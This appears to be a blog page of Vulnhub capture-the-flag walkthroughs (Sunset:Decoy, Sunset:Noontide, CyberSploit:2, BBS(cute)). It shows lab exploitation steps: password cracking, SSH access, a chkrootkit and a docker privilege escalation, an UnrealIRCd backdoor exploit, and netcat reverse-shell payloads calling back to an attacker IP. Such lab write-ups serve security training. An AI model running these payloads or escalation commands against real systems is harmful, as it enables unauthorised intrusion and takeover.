Sunset:Decoy - Walkthrough [Vulnhub]

Here's my solution for Sunset:Decoy.
The Machine can be downloaded from here.

Nmap
Lets start by scanning all TCP ports.
nmap -sC -sV -p- 192.168.1.106



We find 2 TCP ports open.

Enumeration
Browsing the web, shows up with a zip file.

Download save.zip file. We see that the zip file is protected with password.


Lets crack it, extracting the hashes from zip file.


Brute forcing against the hashes.


We get the password as- manuel
As we have the password, unzip it.





The shadow file, contains the encrypted password for
user- 296640a3b825115a47b68fc44501c828


Lets crack it.


Now we have user and password.
User: 296640a3b825115a47b68fc44501c828
Password: server

Getting Access
ssh 296640a3b825115a47b68fc44501c828@192.168.1.106
password: server



We get the access, but we see that we are in restricted bash, lets escape this.

Connecting again,
ssh 296640a3b825115a47b68fc44501c828@192.168.1.106 -t "bash --noprofile"
password: server

Adding /usr/bin to PATH


Privilege Escalation
Transfer the pspy64 to the target machine.


We see an executable file- honeypot.decoy, lets run it.
By selecting the 5th option, it says- The AV Scan will be initiated within a minute.



Lets run pspy64.



We see that the system is running chkrootkit-0.49, lets search for the exploit.


Get this 33899.txt, its says-


Created an executable file named as- update, in /tmp directory.


On the other hand started netcat listener to get a reverse shell.


The Flag.

Here's my solution for Sunset:Noontide. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.109 We find 3 ports (UnrealIRCd) open. Enumeration We search the exploit for UnrealIRCd and we find it here.     Getting Access To exploit we simply run the nmap command with the reverse shell payload and on the other hand we start the netcat listener. $ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='nc -e /bin/sh 192.168.1.108 1234' 192.168.1.109 We get the reverse shell. User Flag. Privilege Escalation We find that user- root has the default password- root. Lets switch to user- root and get the root flag. $ su root Password: root

CyberSploit:2 - Walkthrough [Vulnhub]

Here's my solution for CyberSploit:2. The Machine can be downloaded from here Nmap Starting with nmap scanning for all TCP open ports. nmap -sC -sV -p- 192.168.1.103 We find only 2 open ports. Enumeration Browsing the website, show list of usernames and passwords. Checking the source code reveal us a hint- ROT47. While browsing the website, we see a strange username- D92:=6?5C2 and its associated password as- 4J36CDA=@:E` From the hint we can guess that the username and password can be ROT47 encoded. Browsed Decode.fr to decode it, and we get the credentials as- username: shailendra password: cybersploit1 Getting Access Tried ssh with credential, and we get the access. ssh shailendra@192.168.1.1 password: cybersploit1 Found a file named as hint.txt, which gives a hint as docker, it can be used for privilege escalation, also the user is a member of docker group. Privilege Escalation docker run -v /:/mnt --rm -it alpine chroot /mnt sh And we get the flag

BBS(cute):1.0.1 - Walkthrough [Vulnhub]

Here's my solution for BBS(cute):1.0.1. The machine can be downloaded from here. Nmap Scanning for all TCP ports. $ nmap -sC -sV -p- 192.168.1.111 We find 5 ports open. Enumeration Browsing the web hosted on port 80 (Default HTTP Port). We do not find any useful information lets run the dirb for scanning directories. $ dirb http://192.168.1.111 -r Browsing /index.php We see that it is built on CMS- CuteNews and its version 2.1.2 We search for the exploit and found it here.   Lets get this exploit. Getting Access But before running the exploit we need to make some changes. We remove all /CuteNews from the exploit code, in order to run it successfully. Done with the changes, now we run the exploit. $ python3 48800.py We provide the required information that is, the URL and hit enter. The commands are running fine, but we are not able to navigate to different directories, hence we try to get the normal reverse shell. We see netcat is present, we enter the payload. $ nc -e /bin/bash 19...
